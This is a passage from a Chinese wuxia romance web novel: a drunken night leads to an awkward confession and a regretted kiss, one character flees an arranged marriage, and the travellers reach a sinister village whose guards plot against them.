厉欢颜愣住了,细想了一阵后,眼眸里终于有了些光彩:“你说得对,我都没有正式跟江师兄道歉,何谈要他主动原谅我?” 厉欢颜喝完碗里剩余的酒,便兴冲冲起身道:“我这就去找他说清楚,谢谢你的开解,等我好消息吧!” 闻梨也跟着起身,有点担心厉欢颜现在的状态,“要不还是等酒醒了再去?” 厉欢颜坚持要现在去,她怕自己酒醒后,反而没勇气去见江亦。 闻梨目送着厉欢颜离开,心想应该出不了什么事,便坐回火堆旁,一边吃肉,一边等着厉欢颜回来。 她的视线渐渐挪到酒坛,刚才猛地喝了一口,没尝出什么味道,为何世人都对酒那么痴迷,想来是有它的妙处。 闻梨又给自己倒了一碗,浅浅尝了几口,倒是品出几分韵味,酒入喉虽辣,但身上却热乎乎,在这初秋的夜晚里,舒适得很。 另一边,徐渺泡完药浴,见闻梨还没回到住处,于是拎着一盏油灯寻了过来,当他推开院门,却瞧见这样一幕: 少女怀里抱着酒壶,坐在柴堆高处赏月亮,微风吹动她的裙摆,听到门响声,少女蓦然回头,醉醺醺的眼眸直勾勾盯着他看,眼神异常明亮,彷佛比她身后的星辰还要璀璨几分。 “你怎么才来呀?我都等你好久了。”她的声音黏糊柔软,语调里透着几分嗔怨。 徐渺抱着剑靠在门边,脸上笑意温软:“你怎么爬上去的?喝醉了还下得来吗?” 闻梨醉眼迷离,歪着脑袋瞧他,伸出两根手指晃了晃,一脸困惑道:“怎么左边有个你,右边还有个你?” 徐渺见她醉得厉害,无奈笑了笑,本想跃上柴堆扶她下来,没等他靠近,却见闻梨忽而起身,竟直接跳下柴堆,朝自己扑来。 徐渺只好改变落脚点,一把将人抱进怀里,平稳落地后,他欲松手放她下来,可她却紧紧搂紧他的肩膀不放。 望着心安理得趴在自己怀里的某人,徐渺拿她没辙,只好抱着她朝外边走去,“你喝醉了,我送你回去睡觉。” 闻梨虽闭着眼,神智尚有几分清醒,她现在懂了,难怪厉姑娘要借着酒劲去找江亦,原来酒壮怂人胆这句话是真的,唯有喝醉,她才敢赖在徐渺肩上,装作糊涂,说些平常不敢说的话。 “你那天曾说,我去哪里,你就去哪里,这话是什么意思?” 徐渺脚步微顿,犹豫了一会儿,选择避而不答:“你认为是什么意思?” 闻梨毫无防备道:“你是不是对我有所图谋?” 溶溶月光照在少年僵硬的脊背上,他的乌睫颤了颤,垂眸观察怀中人的反应,提着油灯的手指攥得发白。 他稳住心神,若无其事开口:“何来此言?” 29. 第二十九章 徐渺没能等来闻梨的回答,耳边响起她均匀的呼吸声,似乎是睡着了,过了一会儿,他听到她做梦时的呢喃细语。 “我有钱,有很多很多的钱。” “你不要走,留下陪我。” “以后我还要开酒坊,赚更多的钱养你。” 徐渺听罢此言,步伐不自觉变得松快,唇畔扬起一抹意味深长的笑,慢条斯理回应着她的呓语:“我不图财,却也没那么容易被满足。” * 第二天,闻梨睡到正午才醒,宿醉后脑袋昏沉沉的,她坐在床上想了很久,没记起自己昨晚是怎么回来的。 依稀记得后来还遇见了徐渺,她应该没有耍酒疯,对他做了什么不可挽回的事吧? 砰砰砰,房门被人敲响,打断了闻梨的思绪。 开门一瞧,厉欢颜顶着一双乌青的眼眸站在门外,脸上还带着宿醉后的疲惫,神情抑郁,像是有什么话想说。 闻梨让她进屋再说,刚一进门,厉欢颜便歪靠在床上,一脸生无可恋道:“我好像闯祸了。” 闻梨正要擦脸,听了厉欢颜的话,巾帕差点从手中滑走。 厉欢颜颓丧道:“我昨晚去找江师兄,想好好道个歉,但是他连门都不让我进,众弟子都在外边看着,我哪里好意思说那些话,一着急就点了他的穴道,然后闯进他的房间,把门关紧。” “然后呢?” 厉欢颜欲哭无泪:“我好像做了件丧心病狂的事,看着他的唇那么软,那么翘,我真是被猪油蒙了心,没忍住亲上去,我自己脑子也晕,完全不记得后面发生什么事,醒来的时候,我发现自己躺在江师兄床上,但是江师兄不见了,我都不敢去问我爹江师兄的下落。” 闻梨被惊得说不出话,半晌才道:“是我的错,我昨晚真该劝住你。” 厉欢颜从床上跳起来,呜呜道:“我没脸待在药师谷了,我要月华山庄了,你多保重。” 此时外间又有人敲门,闻梨过去开门,这回来人是徐渺,她掩上房门道:“阿渺稍等,我这边有点事,晚一点过去找你。” 徐渺摇摇头,神色有些复杂,示意闻梨往那边看,闻梨这才注意到他身后还站着一个人,她暗道不妙,忙站出来作揖道:“不知陶医圣来此有何要事?” 陶医圣微微颔首:“姑娘不必多礼,我家欢颜可否在你房中?” 闻梨点头,不自觉在心底为厉欢颜捏把汗。 陶医圣隔着门朝里面的人朗声喊道:“欢颜,别再闹脾气了,你娘已经为你订了桩婚事,派了人来接你回去成亲。” 一听此话,厉欢颜藏不住了,急忙开门出来,疑惑道:“她真给我订亲了?订了谁家?” 陶医圣:“铜雀阁的二公子。” 厉欢颜一脸不可置信:“那个坐轮椅的病秧子?就他那副身体能生孩子吗?” 陶医圣脸色微僵,冷咳了一声:“不可胡言乱语,为父过几日便会去替二公子诊治,你也收拾收拾,准备回月华山庄成亲。” 陶医圣说罢,也不管厉欢颜答不答应,扭头和颜悦色朝闻梨与徐渺说道:“我离开药师谷后,这边的守卫也会跟去,二位还是早日离谷比较好,后山有一条密道,能避开暗夜阁的探子。” 闻梨与徐渺齐齐朝陶医圣道谢。 陶医圣走后,厉欢颜僵坐在地,满脸一副生不如死的悲凉之态,无望道:“我娘生气了,要把我嫁给一个病秧子。” 闻梨过去扶起她,“这婚事没有转圜的余地吗?” “我娘向来说一不二,不,我绝不能回去。”厉欢颜忽而抱住闻梨,“我跟你们一起逃吧?” 闻梨犹豫了,起初她还羡慕厉欢颜来着,没想到连月华山庄大小姐也摆脱不了长辈安排的婚事,于私心而言,她想帮厉欢颜,但是自己已经被暗夜阁盯上,再惹怒一个江湖门派,这路上怕是不好走。 “你当真要跟我们走?” 厉欢颜:“你们要上哪去?要是一路往北走,我就跟你们同行一段路,下月洛城有个武林大会,我早就想去见见世面,再说你家护卫武功没有恢复,有我在,还能保护你,反正即便不跟你们走,我也是要跑的。” 闻梨想了想,只好答应,徐渺见状,也没再多说什么,三人各自回去收拾行李,一个时辰后,三人避开暗夜阁的眼线,天黑前顺利下了山。 为了躲避暗夜阁与月华山庄的追踪,三人时常乔装打扮,有时候扮庄户人家,有时候扮江湖剑客,闻梨还特意买了把佩剑,跟厉欢颜学了几招,徐渺对此评论:虽然都是些花架子,唬唬人还是不错的。 厉欢颜听了,心中很不服气,趁着徐渺的武功还没全部恢复,逼着他切磋武艺,每当这个时候,闻梨会拿出她宝贵的佩剑来切西瓜吃,一边慢悠悠坐在路边欣赏风景,等着二人分出胜负。 这样悠闲轻松的日子,几乎让她忘掉皇宫,忘掉了玉京,以及玉京城里的那个人,她忽然发现,自己已经许久没做那样的噩梦了。 日子一晃,过了半月,天气逐渐转凉,秋天的山林愈发荒芜萧条,这日三人赶了一天的路,始终没找到可以借宿的地方,便只能在野外将就一晚。 夜里冷风刺骨,厉欢颜睡得熟,无意间抢走了被子,闻梨冻醒了好几次,后半夜浑身滚烫,竟发起了高烧,此时厉欢颜正梦见自己抱着暖炉,向娘亲大人讨饶。 直到第二天清晨,闻梨已经烧得神志不清,开始胡言乱语,吵醒了外边的徐渺,徐渺隔着车窗把厉欢颜叫醒,厉欢颜这才惊觉闻梨额头烧得厉害。 厉欢颜快速穿好外衣,便放徐渺进来查看情况,这还是厉欢颜头一次见徐渺发怒的模样,尽管他没有在言语上谴责她,但那副冷冰冰的神情,还是让厉欢颜感觉跟之前的他简直判若两人。 男人变起脸来果然很可怕。 “你来赶车,我进去照顾她。”徐渺拎着湿帕子冷冷说道。 身为月华山庄的大小姐哪里被人这般使唤过,虽然心里很不爽,但看在闻梨生病的份上,厉欢颜老实让出位置,坐到外边去赶车。 好在行了半日路后,便遇到个小村镇,厉欢颜跟徐渺说了一声,拽着缰绳,打算把马车驶进村口,却在这时,一个蓬头垢面的疯女人不知从何处冒出来,突然挡在马车前,幸而马车速度不快,才没有撞到人。 “你没长眼呐!”厉欢颜伸长脖子骂了一句,却见对方撒泼似的往地上一躺,还捡路边的牛粪吃,厉欢颜一阵恶寒,浑身像起疹子那般痒。 “怎么了?”徐渺探出头来,正好也瞧见这一幕,他蹙了下眉头,朝厉欢颜说道:“我带她去村里找大夫,你在这里看着马车。” 徐渺说罢,不给厉欢颜拒绝的机会,便把闻梨抱出马车,快步往村里走去,只留下厉欢颜与面前的疯女人大眼瞪小眼。 厉欢颜调转马头,百无聊赖守在马车边,时不时瞅一眼地上的疯女人,这时候,路边迎面走来好几个庄稼汉,一瞧见厉欢颜,眼神直勾勾地盯着她,丝毫不掩饰内心邪恶的欲念,看得厉欢颜浑身不自在。 有个面目极猥琐的男子,似乎智力上有些缺陷,到了车边被同伙挑唆,竟想伸手去摸厉欢颜的手。 厉欢颜立刻沉下脸色,没等她拔出剑狠狠教训这登徒子,身后忽而站出个蓝袍道士,将那痴汉的手、以及邪恶的目光通通挡住。 “诸位见谅,这位姑娘是我的朋友,还请莫要与她为难。”蓝袍道士笑着说。 这几个庄稼汉似乎对那道士十分恭敬,不敢再打厉欢颜的主意,各自扛起锄头悻悻走了。 厉欢颜心存警惕,并不感激陌生男子的解围之举,反而拔出剑架在那道士颈间,质问道:“谁是你的朋友?胡乱攀扯关系想做什么?” 蓝袍道士背影僵住,缓缓回头,脸上笑意减半:“原来姑娘是练家子,是在下多管闲事了。” 蓝袍道士身边跟着的小道童气呼呼骂道:“我师父好心好意救你,你这人怎的如此不识好歹!” 小道童看起来才七八岁左右,丝毫不怯生,厉欢颜冷哼一声,吓唬道:“要不是你师父碍手碍脚,我已经把那登徒子手砍掉,眼珠挖掉。” 那小道童果然变了脸色,转过脸去,不再跟厉欢颜说话,厉欢颜也 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徐渺就近敲响一户房门,想问个路,半晌不见有人开门,一连敲了几户皆是如此,他隐约听到门里有悉悉索索的声音,像是铁链在地面拖动,很快又消失了。 “什么人在那里?”村里迎面走来两个络腮胡汉子,自称是村里的卫兵,强势拦住了徐渺的去路。 徐渺解释说想找个郎中,话还没说完,不料那卫兵不耐烦挥手,让徐渺哪里来的回哪去,村子里没有郎中。 另一个卫兵瞅了眼徐渺怀里抱着的人,只见那女子肤凝如雪,颇具姿色,便拽了拽同伴的胳膊,改主意道:“有有有,直走右拐,山溪旁有间草屋,那里住着位郎中。” 待徐渺走远,窥见闻梨容貌的卫兵还没回过味来,砸吧着嘴道:“真真是个妙人,可惜轮不到我。” 另一个卫兵:“当真?我倒是没看见,不过那男子腰间佩剑,怕是不太好下手。” “管这些作甚?下了药,再强的人不都得折在我们手里?我们先回去禀告族长。” 徐渺来到卫兵所说的山溪旁,果然瞧见一间草屋,草屋用篱笆围起,屋前还晒着不少草药,的确住的是郎中。 待徐渺走近草屋,郎中恰好从屋内出来,在瞧见有陌生人来访的刹那间,郎中脚步微顿,神色明显闪过一抹惊异,很快又恢复正常。 “有什么事吗?” 徐渺说明来意,郎中犹豫片刻,点了点头,让徐渺把闻梨放到树下的木榻上,替她诊了诊脉,道:“是感染了风寒,开几副药吃下去就能好了。” 徐渺的心稍稍安定,又问郎中能否借个灶房熬药,郎中同意了,道谢后,徐渺将药炉搬来院中,一边守着闻梨,一边煎药。 徐渺始终对村子的异常感到好奇,借机询问起郎中,但那郎中话极少,只说了不知,便背起药篓,欲往院外走去。 临走前,郎中忽然回头,冷淡说了一句:“天黑前就出村,这地方闹鬼,不利于病人养病。” 昏昏沉沉间,闻梨被扶起来喝药,温热的药汁润过肺腑,她精神了许多,疲乏睁眼,少年清晰凌厉的下颌映入她的眼帘。 意识到自己正躺在对方怀里,闻梨的脸色愈发绯红。 徐渺却觉得疑惑,明明郎中说吃完药就会退烧,为何她的脸色还是如此红晕?手心抚上她的额间,发现已经没早上那般烫了。 被他冰凉的手掌触碰后,闻梨身躯一颤,睁着朦胧的杏眸,神色不太自然道:“我好多了,这是哪里?欢颜人呢?” 徐渺起身拎起药包,“此地不宜久待,我们先出村再说。” 闻梨应了声好,试着起身,不料眼前忽而投来阴翳,将她笼罩住,随后被一双结实的胳膊抱起,鼻尖萦绕着少年身上幽若的冷香,她的心跳愈发加快。 脑子里不适宜地蹦出几句话: 你不要走,留下来陪我,我会赚很多钱养你。 闻梨不自觉揪紧少年的衣襟,完了,她早就摊牌了,那么他的回答是什么呢?